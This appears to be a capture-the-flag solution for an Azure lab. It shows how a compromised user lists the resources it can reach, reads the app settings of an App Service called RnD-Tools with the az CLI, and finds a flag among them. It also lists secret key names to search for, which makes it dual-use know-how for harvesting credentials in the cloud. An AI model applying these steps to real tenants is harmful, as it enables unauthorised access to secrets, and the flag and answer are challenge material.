Flag{a92f7e0c3c4b9d88a1f54e6723d4c1a2}
Detailed Solution:
Start by listing all Azure resources accessible to the compromised user.
az resource list --output table
The environment exposes at least these resources:
RnD-Tools Excalibur-Resources ukwest Microsoft.Web/sites
WebAppTokenIdentity Excalibur-Resources ukwest Microsoft.ManagedIdentity/userAssignedIdentities
The most interesting target is the App Service:
RnD-Tools
Web Apps often store configuration values in App Settings. These commonly contain secrets, flags, API keys, connection strings, or credentials.
Query the App Service application settings:
az webapp config appsettings list \
--name RnD-Tools \
--resource-group Excalibur-Resources \
--output json
Look for keys such as:
Flag
secret
password
token
connectionString
clientSecret
The exposed app setting contains:
{
" name " : " Flag " ,
" slotSetting " : false,
" value " : " Flag{a92f7e0c3c4b9d88a1f54e6723d4c1a2} "
}
Final Answer:
Flag{a92f7e0c3c4b9d88a1f54e6723d4c1a2}
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